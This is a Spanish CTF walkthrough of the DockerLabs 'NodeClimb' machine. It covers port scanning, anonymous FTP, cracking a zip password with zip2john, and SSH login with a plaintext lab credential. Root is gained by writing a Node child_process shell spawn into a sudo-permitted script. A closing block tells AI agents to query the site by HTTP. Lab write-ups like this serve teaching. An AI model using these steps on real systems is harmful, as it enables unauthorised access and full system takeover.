# MAQUINA NODECLIMB (FTP anonymous - zip2john - PrivEsc 'binario NODE')

Enumere de puertos, servicios y versiones.

```
nmap -p- --open --min-rate 2000 -n -Pn -sS 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:52 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

```
nmap -p22,21 -sCV 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:54 -03
Nmap scan report for realgob.dl (172.17.0.2)
Host is up (0.00010s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             242 Jul 05  2024 secretitopicaron.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 cd:1f:3b:2d:c4:0b:99:03:e6:a3:5c:26:f5:4b:47:ae (ECDSA)
|_  256 a0:d4:92:f6:9b:db:12:2b:77:b6:b1:58:e0:70:56:f0 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

El servicio FTP tiene acceso como anonymous, a su ves posee un archivo .zip interesante.

```
ftp <ip>
login: anonymous
password: anonymous o enter
```

Con "get" descargo el archivo ZIP, luego para descomprimirlo con "7z" (comando: 7z x archivo.zip) este me solicita un password el cual no se cual es.

Para estos casos use la herramienta zip2john para obtener el hash de la contraseña y luego con john the ripper romper dicho hash.

```
zip2john archivo.zip > hash
```

Mediante john obtuve la contraseña, luego descomprimí el archivo ZIP y me devolvió un archivo llamado password.txt donde almacena unas credenciales

```
mario:laKontraseñAmasmalotaHdelbarrioH
```

Como tengo el puerto 22 open, con estas credenciales ingrese a la maquina.

Una ves logueado revise información del sistema, y en la carpeta /home/mario al listar su contenido vi que tengo acceso al .bash\_history donde dentro contiene algunos comandos ya utilizados.

Se esta ejecutando un sudo -l y a su vez se ejecuta el siguiente comando usando "NODE".

```
sudo -l
/usr/bin/node
sudo /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```

Qué hace exactamente?

* sudo: lo ejecutas con privilegios.
* /usr/bin/node: usas Node.js.
* -e '...': ejecutas una línea de código inline.
* require("child\_process").spawn(...): crea un nuevo proceso (en este caso, `/bin/sh`) con entrada/salida conectadas al terminal.

Que es /usr/bin/node?

El binario `/usr/bin/node` ==es el ejecutable principal del entorno de ejecución Node.js==. Es el archivo que se utiliza para ejecutar código JavaScript en el servidor, permitiendo a los desarrolladores construir aplicaciones web, herramientas de línea de comandos, y más, utilizando JavaScript fuera del navegador. En esencia, es la herramienta que traduce y ejecuta el código JavaScript en un entorno no-navegador

Use el comando sudo -l y me devolvió lo siguiente:

```
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
```

Significa que el usuario mario puede ejecutar ese script específico (`/home/mario/script.js`) utilizando sudo, sin que se le pida la contraseña, y puede hacerlo **como cualquier usuario** (generalmente root), porque:

`(ALL)` → Aplica a **todos los usuarios** del sistema como objetivo (`root` incluido).

`NOPASSWD:` → No necesita ingresar su contraseña al ejecutar ese comando vía `sudo`.

`/usr/bin/node /home/mario/script.js` → Específicamente permite ejecutar solo ese comando exacto con `sudo`.

Como Mario tengo permisos de escritura en el archivo script.js, para explotar esto lo que hice fue tomar el comando que se encuentra en el Historial, agregarlo al script.js y por ultimo ejecutarlo como root.

```
mario@679b03864eab:~$ echo 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});' > /home/mario/script.js

mario@679b03864eab:~$ cat script.js 
require("child_process").spawn("/bin/bash", {stdio: "inherit"});

mario@679b03864eab:~$ sudo -u root /usr/bin/node /home/mario/script.js

root@679b03864eab:/home/mario# whoami
root
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/dockerlabs/writeup/maquina-nodeclimb-ftp-anonymous-zip2john-privesc-binario-node.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
